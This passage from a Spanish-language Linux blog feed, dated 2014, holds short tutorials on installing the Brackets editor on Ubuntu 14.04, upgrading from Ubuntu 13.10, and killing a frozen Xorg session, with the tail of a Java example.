  &lt;span style=&quot;color: black;&quot;&gt;rectangulo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Area&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;rectangulo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;Perimetro&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuhvrPb7MY_MxYXE8baAHsxUzfiaGFc5-iGb-9QAGu7UtjSiuig2nQyDVmWJKH4KkPVsDrIFoz180pMOAfekSjbnEZA6OoZqeRa-li-S41HdKJHdjk3AzqerxR7FGnfjC2DWP5l7Voc3f0/s1600/figuras.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuhvrPb7MY_MxYXE8baAHsxUzfiaGFc5-iGb-9QAGu7UtjSiuig2nQyDVmWJKH4KkPVsDrIFoz180pMOAfekSjbnEZA6OoZqeRa-li-S41HdKJHdjk3AzqerxR7FGnfjC2DWP5l7Voc3f0/s1600/figuras.png&quot; height=&quot;216&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Eso es todo :D.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/3662107455100033825/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/06/tutorial-java-en-linux-basico-9.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/3662107455100033825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/3662107455100033825'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/06/tutorial-java-en-linux-basico-9.html' title='Tutorial Java en Linux Basico 9'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuhvrPb7MY_MxYXE8baAHsxUzfiaGFc5-iGb-9QAGu7UtjSiuig2nQyDVmWJKH4KkPVsDrIFoz180pMOAfekSjbnEZA6OoZqeRa-li-S41HdKJHdjk3AzqerxR7FGnfjC2DWP5l7Voc3f0/s72-c/figuras.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-5829482671155086114</id><published>2014-04-23T12:33:00.000-05:00</published><updated>2014-05-22T16:46:21.383-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="14.04"/><category scheme="http://www.blogger.com/atom/ns#" term="Brackets"/><category scheme="http://www.blogger.com/atom/ns#" term="como instalar"/><category scheme="http://www.blogger.com/atom/ns#" term="edicion"/><category scheme="http://www.blogger.com/atom/ns#" term="html"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Como instalar Brackets en Ubuntu 14.04</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;b&gt;Brackets&lt;/b&gt; es un editor &lt;b&gt;open source para desarrollo web&lt;/b&gt;,es de &lt;b&gt;adobe&lt;/b&gt; y en teoría es pariente de&amp;nbsp;&lt;b&gt;dreamweaver.&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Yo no soy programador o diseñador web pero aun así hay que saber un poco de todo,y si he hecho algunas cosas en HTML5,CSS3,Javascript usando algunas herramientas OpenSource pero hasta ahora este es el que mas me ha gustado(y no es publicidad),simplemente hay que reconocer que este es un gran editor.&lt;br /&gt;
&lt;br /&gt;
Lo que me gusto de este editor es:&lt;br /&gt;
&lt;br /&gt;
Plugins(extensiones),hechos por la comunidad para extender el editor y fácil instalación:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdsCB0y_b79FrskYVn9mTeq3DU1cAGzzyBTWofKpUj-7L5xm9mWXzn-PVahwTdiArVH8J3Oqh8yC1EDO3o4RFnJ3cOVciOAyHes6FhFuxpKoD_SUK_jzvBNVCJ5sjeKtJCLMfWzxbQLFUz/s1600/plugins.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdsCB0y_b79FrskYVn9mTeq3DU1cAGzzyBTWofKpUj-7L5xm9mWXzn-PVahwTdiArVH8J3Oqh8yC1EDO3o4RFnJ3cOVciOAyHes6FhFuxpKoD_SUK_jzvBNVCJ5sjeKtJCLMfWzxbQLFUz/s1600/plugins.png&quot; height=&quot;270&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Temas,uno puede programar a blanco y negro pero los temas nos animan mas a trabajar:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDQmlzbgsZJUwlidsnskoDPxgPEt_QQhIKfrd1YvhfhKJ6USKHbOLA9CAhjSGab86zUeXS1thp5SGuLQXM0qTPR087dgLF__0cp4dI_zGm4RHOdNiB8AfqOOVlRbqI2P1tVnEw4f93KADm/s1600/brakets+ubuntu.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDQmlzbgsZJUwlidsnskoDPxgPEt_QQhIKfrd1YvhfhKJ6USKHbOLA9CAhjSGab86zUeXS1thp5SGuLQXM0qTPR087dgLF__0cp4dI_zGm4RHOdNiB8AfqOOVlRbqI2P1tVnEw4f93KADm/s1600/brakets+ubuntu.png&quot; height=&quot;301&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6bP2ORisoJTsbJYbi0vRT-_VfeOd31ughJuiSOBYY_mV9LU41MF8yh-fM97hrWmlAnzgQdfy7WV5-EChi2ZY52NIbNw9UrEEzpGRWmMnV0FAIlocrbX7gCiK7FHOlwkzj_6bjxP8NnZ25/s1600/tema+2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6bP2ORisoJTsbJYbi0vRT-_VfeOd31ughJuiSOBYY_mV9LU41MF8yh-fM97hrWmlAnzgQdfy7WV5-EChi2ZY52NIbNw9UrEEzpGRWmMnV0FAIlocrbX7gCiK7FHOlwkzj_6bjxP8NnZ25/s1600/tema+2.png&quot; height=&quot;302&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Autocompletado de palabras(se extiende a javascript,JQueryMobile gracias a plugins).&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF5vP5bzBrPduTBR0KBmUyJmDlD7DOqrLJtPO1aTn3jclPq63dv0VRR1yXmqeXaIChaAJ1FUC7jx-tdx9MJ8z5G2wZbZo9dG8w2uKCPvf3Io-Ka3BChK6JsBHTRhdomEezRq3irn7-sLGr/s1600/autp.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF5vP5bzBrPduTBR0KBmUyJmDlD7DOqrLJtPO1aTn3jclPq63dv0VRR1yXmqeXaIChaAJ1FUC7jx-tdx9MJ8z5G2wZbZo9dG8w2uKCPvf3Io-Ka3BChK6JsBHTRhdomEezRq3irn7-sLGr/s1600/autp.png&quot; height=&quot;213&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Vista previa en vivo:&lt;br /&gt;
&lt;br /&gt;
Cada vez que guardemos(Ctrl+S) recarga la pagina que estamos creando en el editor que abre al iniciar la vista en vivo(el que tengamos configurado en el sistema por defecto):&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUV4kMKKkCTUBmmR8A7JZU9gcrEdUVi5cbIzaFfqjC-5HjLs9T8XQc1-Ix_T0hvbWvobOPLMJHIxTjzf0mMDqOTz0X2MzJ4BTbimbJazAHSYAHop0VTCtPwEdztzh34xBPf5ZcHfjszcRQ/s1600/vista.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUV4kMKKkCTUBmmR8A7JZU9gcrEdUVi5cbIzaFfqjC-5HjLs9T8XQc1-Ix_T0hvbWvobOPLMJHIxTjzf0mMDqOTz0X2MzJ4BTbimbJazAHSYAHop0VTCtPwEdztzh34xBPf5ZcHfjszcRQ/s1600/vista.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Vista de imágenes,al colocar una url de una imagen,sea en css,javascript o html,nos da una previsualizacion:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQkDDaj2NfXGcuAL56VI51sD_k0FuK1-eYaQu6kVBtwhvhlYj_Mv2oO57UnSx8QRdtWRUGF5Vq67Ja8Z8ufWOKsa74s1bzEDhBwF4YuEV9EJv_uyTTrvGPmyWK56yG8AmIvWTM5PyVbvF2/s1600/image.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQkDDaj2NfXGcuAL56VI51sD_k0FuK1-eYaQu6kVBtwhvhlYj_Mv2oO57UnSx8QRdtWRUGF5Vq67Ja8Z8ufWOKsa74s1bzEDhBwF4YuEV9EJv_uyTTrvGPmyWK56yG8AmIvWTM5PyVbvF2/s1600/image.png&quot; height=&quot;400&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Entre muchas mas cosas.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Tutorial de instalacion:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Bien podemos hacerlo por PPA,con unos simples comandos:&lt;br /&gt;
&lt;br /&gt;
Abrimos una terminal y escribimos:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo add-apt-repository ppa:webupd8team/brackets&lt;/b&gt;&lt;/blockquote&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get update&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get install brackets&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
O podemos hacerlo desde el .deb:&lt;br /&gt;
&lt;br /&gt;
Bajamos el paquete .deb:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;a href=&quot;http://brackets.io/&quot; target=&quot;_blank&quot;&gt;http://brackets.io/&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Luego abrimos una terminal y nos pasamos a la carpeta de Descargas(o donde descargue los archivos su navegador):&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;cd Descargas&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Y escribimos para instalar:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo dpkg -i Brackets.*.deb &amp;amp;&amp;amp; sudo apt-get -f install&lt;/b&gt;&lt;/blockquote&gt;
Buscamos en el Dash:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXhKVPenGqw3Ym5hk2HVZ71prBny25W4ZltMYhfnxPfV81GalegmeCIjDOmW_PjzQ57FpqdrC4z7Qbc2bMhJjSBkCwINArnFAWoeiiwD4eZsrgsuPw51_JxvDgXnBj7DpndwyA9Hna59O0/s1600/Captura+de+pantalla+de+2014-04-23+12:20:52.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXhKVPenGqw3Ym5hk2HVZ71prBny25W4ZltMYhfnxPfV81GalegmeCIjDOmW_PjzQ57FpqdrC4z7Qbc2bMhJjSBkCwINArnFAWoeiiwD4eZsrgsuPw51_JxvDgXnBj7DpndwyA9Hna59O0/s1600/Captura+de+pantalla+de+2014-04-23+12:20:52.png&quot; height=&quot;223&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW-BhV1axZq41Q4b_CDk3cF_aeBOSRwLWTH77Q4bIaSgM3UoMjtaUUXkxcFYKY4uuGgP58IJ0JRRmjLaDv9hrNHsV0dOMZs6ynpJkbQu7pVvgo9oIK5OBSQ0eJpfnvJv1OlGzoz8u5uWk_/s1600/demo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW-BhV1axZq41Q4b_CDk3cF_aeBOSRwLWTH77Q4bIaSgM3UoMjtaUUXkxcFYKY4uuGgP58IJ0JRRmjLaDv9hrNHsV0dOMZs6ynpJkbQu7pVvgo9oIK5OBSQ0eJpfnvJv1OlGzoz8u5uWk_/s1600/demo.png&quot; height=&quot;217&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Eso es todo :D&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px;&quot;&gt;
&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; color: red;&quot;&gt;Y recuerda si te&amp;nbsp;sirvió&amp;nbsp;y tienes cuenta de google dale google aya abajo&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px;&quot;&gt;
&lt;span style=&quot;box-sizing: border-box; font-weight: 700;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px;&quot;&gt;
&lt;/div&gt;
&lt;script async=&quot;&quot; src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 21.559999465942383px;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0F-9PQipz1RA9lbTOXdnbLHjNdfneDiMPiym1nCp9wkdXtAlDZqVG-fWvh_CTEAKVvQDiow-VwIpaJcQaS0-yhUcnztTVOAoCGQlXxIrewbCcwzf32jt2C3qyZ-qcgXDq4CYYpXXZHI/s1600/icon_plusone.gif&quot; imageanchor=&quot;1&quot; style=&quot;background-position: 0px 0px; box-sizing: border-box; color: #2a6496; margin-left: 1em; margin-right: 1em; outline: 0px;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0F-9PQipz1RA9lbTOXdnbLHjNdfneDiMPiym1nCp9wkdXtAlDZqVG-fWvh_CTEAKVvQDiow-VwIpaJcQaS0-yhUcnztTVOAoCGQlXxIrewbCcwzf32jt2C3qyZ-qcgXDq4CYYpXXZHI/s1600/icon_plusone.gif&quot; style=&quot;-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; border: 1px solid rgb(237, 237, 237); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; box-sizing: border-box; padding: 5px; position: relative; vertical-align: middle;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;!-- Grande --&gt;&lt;br /&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5807640553894844&quot; data-ad-slot=&quot;8726839566&quot; style=&quot;display: inline-block; height: 280px; width: 336px;&quot;&gt;&lt;/ins&gt;&lt;br /&gt;
&lt;script&gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/5829482671155086114/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/04/como-instalar-brackets-en-ubuntu-1404.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/5829482671155086114'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/5829482671155086114'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/04/como-instalar-brackets-en-ubuntu-1404.html' title='Como instalar Brackets en Ubuntu 14.04'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdsCB0y_b79FrskYVn9mTeq3DU1cAGzzyBTWofKpUj-7L5xm9mWXzn-PVahwTdiArVH8J3Oqh8yC1EDO3o4RFnJ3cOVciOAyHes6FhFuxpKoD_SUK_jzvBNVCJ5sjeKtJCLMfWzxbQLFUz/s72-c/plugins.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-9030025307379296507</id><published>2014-04-22T14:58:00.001-05:00</published><updated>2014-05-22T16:39:26.971-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="13.10"/><category scheme="http://www.blogger.com/atom/ns#" term="14.04"/><category scheme="http://www.blogger.com/atom/ns#" term="como actualizar"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="upgrade"/><title type='text'>Como actualizar Ubuntu 13.10 a 14.04</title><content type='html'>Este es un tutorial rápido para hacer un &lt;b&gt;upgrade&lt;/b&gt; de &lt;b&gt;Ubuntu&lt;/b&gt; 13.10 a &lt;b&gt;Ubuntu 14.04&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Abrimos una terminal(Ctrl+Alt+T) y escribimos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get dist-upgrade&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Con eso se actualizan los repositorios y paquetes actuales,ahora solo verificamos si hay una version nueva:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo update-manager -d&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Solo indicamos que si queremos actualizar,y esperamos.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Se va a tardar un rato en descargar y instalar cerca de 700mb/1gb de datos,no coloco capturas porque ya esta actualizado mi sistema:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBTY7xLir_K2APSeis6w0Uu6G9aUM6-qdIoxxnMw0XiKuRx9zqv7uP4nPSxnCXBN5PMZW_7AEzAaIgZf0az7H9GN3Ad7Qns5tVC7VAeqRRI8clJ0TLM2UcX_V_vl-B61C6j_9bdA6IGVuF/s1600/ubuntu.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBTY7xLir_K2APSeis6w0Uu6G9aUM6-qdIoxxnMw0XiKuRx9zqv7uP4nPSxnCXBN5PMZW_7AEzAaIgZf0az7H9GN3Ad7Qns5tVC7VAeqRRI8clJ0TLM2UcX_V_vl-B61C6j_9bdA6IGVuF/s1600/ubuntu.png&quot; height=&quot;358&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;script async=&quot;&quot; src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;!-- Grande --&gt;&lt;br /&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5807640553894844&quot; data-ad-slot=&quot;8726839566&quot; style=&quot;display: inline-block; height: 280px; width: 336px;&quot;&gt;&lt;/ins&gt;&lt;br /&gt;
&lt;script&gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/9030025307379296507/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2014/04/como-actualizar-ubuntu-1310-1404.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/9030025307379296507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/9030025307379296507'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2014/04/como-actualizar-ubuntu-1310-1404.html' title='Como actualizar Ubuntu 13.10 a 14.04'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBTY7xLir_K2APSeis6w0Uu6G9aUM6-qdIoxxnMw0XiKuRx9zqv7uP4nPSxnCXBN5PMZW_7AEzAaIgZf0az7H9GN3Ad7Qns5tVC7VAeqRRI8clJ0TLM2UcX_V_vl-B61C6j_9bdA6IGVuF/s72-c/ubuntu.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-7278649050744436985</id><published>2014-04-16T22:04:00.000-05:00</published><updated>2014-05-22T16:47:52.890-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="killall"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="terminal"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="Xorg"/><title type='text'>Como destruir sesion de Ubuntu congelado</title><content type='html'>&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Bien,esto es para los que aun pueden mover el puntero o entrar a una tty.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Digan lo que digan en Linux tenemos problemas,no tan populares como las pantallas azules de Windows pero en ocasiones se &quot;rompe&quot; algo y nuestro sistema se congela,en el caso de Ubuntu no se porque,me ha pasado a nivel de modulo con los gráficos de intel pero en esta ocasion dmesg no dijo nada,debió haber sido unity.&lt;br /&gt;
&lt;br /&gt;
Para poder seguir usando la pc sin tener que reiniciarla a la brava podemos matar el proceso del servidor grafico,esto lo uso asi porque Linux me ha dado ese problema,sea Gentoo-KDE,Arch-GNOME-SHELL,Debian,etc siempre se ha congelado mi sistema(sera mi pc).&lt;br /&gt;
&lt;br /&gt;
Para matar el proceso de Xorg solo hacemos esto:&lt;br /&gt;
&lt;br /&gt;
Abrimos una tty:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;Ctrl+Alt+F1&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;
o&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;Ctrl+Alt+fn+F1&lt;/b&gt;&lt;/blockquote&gt;Nos logeamos.&lt;br /&gt;
&lt;br /&gt;
Ahora matamos el proceso Xorg&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;sudo killall Xorg&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;
